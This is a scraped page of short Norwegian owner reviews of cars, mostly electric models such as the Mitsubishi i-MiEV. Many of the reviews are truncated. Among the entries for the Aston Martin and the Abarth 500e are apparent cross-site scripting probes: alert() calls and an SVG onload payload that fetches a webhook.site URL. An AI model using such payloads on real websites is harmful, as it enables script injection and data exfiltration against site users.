Mitsubishi I-MiEV (2016)

Så billig og så mye moro at du tilgir den både utseendet og den totale mangelen på komfort.

Mitsubishi I-MiEV (2015)

En rimelig bil med grei kvalitet. Første service kostet ca 2800 kroner, og hvis jeg har regnet riktig har jeg brukt ca 1250 kroner i strøm totalt. Jeg har ikke hatt behov for hurtiglading langs veie

Mitsubishi I-MiEV (2015)

En meget kurrant bil hvis du ønsker en nr. 2 bil som er omtrent gratis å eie. Med elbilenes fordeler betaler denne seg selv. Selv med 2 barn har dette blitt vår foretrukne hovedbil på de aller fle

Mitsubishi I-MiEV (2013)

Morsom og lettkjørt bybil. Grei rekkevidde som nr 2 bil. Grei plass til 2 voksne og 2 barn + et par handleposer. Baksetene kan legges ned, da rommer den overraskende mye.

Mitsubishi I-MiEV (2013)

Etter at jeg kjøpte elbil har jeg mistet lysten til å kjøre fossilbil.

Mitsubishi I-MiEV (2012)

Vi var tidlig ute med elbil. Bor i Lørenskog og har brukt den til jobb i Oslo og til ærender og besøk i nærområdet. Stort mer enn 10 mil går den ikke, men vi har kjørt den nesten 90000 km. Brem

Mitsubishi I-MiEV (2011)

Sparebøsse! Litt dårlig fremkommelighet på vinterføre.

Mitsubishi I-MiEV (2011)

Verdens raskeste bil!! Raskere enn både Taycan og Tesla, i parkeringshuset! Raskest på handletur, raskest u-sving på smale veier, raskest å skifte dekk, raskest å håndvaske, bone og polere, rask

Renault 5 E-Tech (2025)

Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te

Citroën e-C4 (2025)

Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve

Aston Martin DB9 GT (2017)

alert("total")

Aston Martin DB9 GT (2017)

totalvurderingtest

Abarth 500e (2024)

Abarth 500e (2024)

Abarth 500e (2024)

xxxfooo4

Abarth 500e (2024)

<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>

Volvo EX40 (2026)

Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass

Ford Explorer EV (2025)

Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.

Ford Kuga (2021)

Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring

Hongqi E-HS9 (2022)

Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!

Mercedes-Benz EQC (2022)

Topp komfort og driftsikker.

Polestar 2 (2022)

God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h

Mercedes-Benz GLE (2020)

Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km